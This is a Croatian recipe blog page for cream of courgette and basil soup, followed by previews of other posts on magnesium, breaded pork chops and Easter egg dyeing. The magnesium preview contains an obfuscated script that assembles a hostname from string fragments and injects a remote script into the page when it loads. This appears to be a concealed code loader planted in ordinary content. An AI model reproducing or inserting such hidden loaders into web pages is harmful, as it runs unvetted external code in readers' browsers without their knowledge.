KREM JUHA OD TIKVICA I BOSILJKA




Krem juha od tikvica i bosiljka 




Krem juha od tikvica i bosiljka jedan je od najukusnijih načina da iskoristite omiljeno ljetno povrće. Blagi okus tikvica spaja se porilukom, celerom, češnjakom i svježim bosiljkom u kremastu juhu koja okusom podsjeća na pesto, ali je puno laganija i divno osvježavajuća.




Krem juha od tikvica i bosiljka 


Sastojci:

  • 2 žlice ekstra djevičanskog maslinova ulja, plus još malo za posluživanje
  • 225 g poriluka, sitno nasjeckanog
  • 170 g stabljika celera, sitno nasjeckanih
  • sol
  • 25 g češnjaka, sitno nasjeckanog
  • 700 g tikvica, prerezanih po dužini i narezanih na ploške debljine oko 1 cm
  • 55 g svježih listova bosiljka, grubo nasjeckanih (podijeliti na dva dijela)
  • 1,2 l vode
  • svježe mljeveni crni papar
  • sok 1 limuna, prema ukusu



Priprema:


  1. U većem loncu zagrijte maslinovo ulje na srednje jakoj vatri. Dodajte poriluk i celer, lagano posolite pa pirjajte oko 5 minuta, uz povremeno miješanje, dok povrće ne omekša, ali ne poprimi boju. Ako se povrće počne lijepiti za dno lonca, dodajte još malo maslinova ulja.
  2. Umiješajte sitno nasjeckani češnjak i kratko ga pirjajte, svega 30-ak sekundi, dok ne zamiriše.
  3. Dodajte narezane tikvice i kuhajte još oko 1 minutu uz miješanje. Zatim umiješajte polovicu bosiljka, ulijte vodu i zakuhajte.
  4. Kad juha lagano zakuha, smanjite vatru i kuhajte oko 10 minuta, dok tikvice ne omekšaju, ali i dalje zadrže svoju lijepu zelenu boju.
  5. Pred kraj kuhanja dodajte preostali bosiljak pa štapnim mikserom ili u blenderu izmiksajte juhu do željene teksture – potpuno glatke ili malo rustikalnije.
  6. Na kraju začinite solju, svježe mljevenim paprom i limunovim sokom prema vlastitom ukusu. Poslužite uz nekoliko kapi kvalitetnog maslinova ulja i, po želji, svježe listiće bosiljka.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više